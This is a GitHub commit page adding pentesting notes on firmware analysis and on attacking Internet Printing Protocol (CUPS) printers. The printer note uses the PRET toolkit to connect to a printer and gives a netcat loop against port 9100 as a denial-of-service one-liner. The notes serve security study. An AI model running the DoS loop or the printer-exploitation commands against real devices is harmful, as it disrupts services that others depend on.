forked from hideckies/exploit-notes
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request hideckies#47 from hideckies/dev
added IPP Pentesting
- Loading branch information
Showing
12 changed files
with
321 additions
and
156 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,35 @@ | ||
--- | ||
title: Firmware Analysis | ||
description: | ||
tags: | ||
- Reverse Engineering | ||
refs: | ||
date: 2022-12-21 | ||
draft: false | ||
--- | ||
|
||
## Static Analysis | ||
|
||
The following tools are often used for static analysis. | ||
|
||
- **[Firmwalker](https://github.com/craigz28/firmwalker)** | ||
- **[firmware-mod-kit](https://code.google.com/archive/p/firmware-mod-kit/)** | ||
|
||
```sh | ||
# -E: Calculate file entropy | ||
# -N: Do not generate an entropy plot graph | ||
binwalk -EN ./firmware | ||
|
||
# firmware-mod-kit | ||
./extract-firmware.sh ./firmware | ||
``` | ||
|
||
<br /> | ||
|
||
## Dynamic Analysis | ||
|
||
```sh | ||
gdb ./firmware | ||
|
||
rizin ./firmware | ||
``` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,60 @@ | ||
--- | ||
title: Internet Printing Protocol (IPP) Pentesting | ||
description: Internet Printing Protocol is a protocol for communicating between client devices and printers. A default port is 631. | ||
tags: | ||
- Printer | ||
refs: | ||
- https://tryhackme.com/room/printerhacking101 | ||
- http://hacking-printers.net/wiki/index.php/Printer_Security_Testing_Cheat_Sheet | ||
date: 2022-12-21 | ||
draft: false | ||
--- | ||
|
||
## Access in Web Browser | ||
|
||
The CUPS server can be able to access via browser. | ||
Try input the following in the URL search form in browser. | ||
|
||
```txt | ||
http://<target-ip>:631 | ||
``` | ||
|
||
<br /> | ||
|
||
## Connect | ||
|
||
**[The Printer Exploitation Toolkit](https://github.com/RUB-NDS/PRET)** is a tool for printer secure testing. Assume that we use it. | ||
Try all three options until the target printer recognized. | ||
|
||
```sh | ||
# ps: PostScript | ||
python2 pret.py <target-ip>:631 ps | ||
|
||
# pjl: Printer Job Language | ||
python2 pret.py <target-ip>:631 pjl | ||
|
||
# pcl: Printer Control Language | ||
python2 pret.py <target-ip>:631 pcl | ||
``` | ||
|
||
<br /> | ||
|
||
## Commands in PRET Shell | ||
|
||
After connecting the target printer, we can test using the following commands. | ||
|
||
```sh | ||
# Print usage | ||
> ? | ||
> ? <command> | ||
``` | ||
|
||
<br /> | ||
|
||
## Other Exploits | ||
|
||
### Denial of Service (DoS) | ||
|
||
```sh | ||
while true; do nc printer 9100; done | ||
``` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Oops, something went wrong.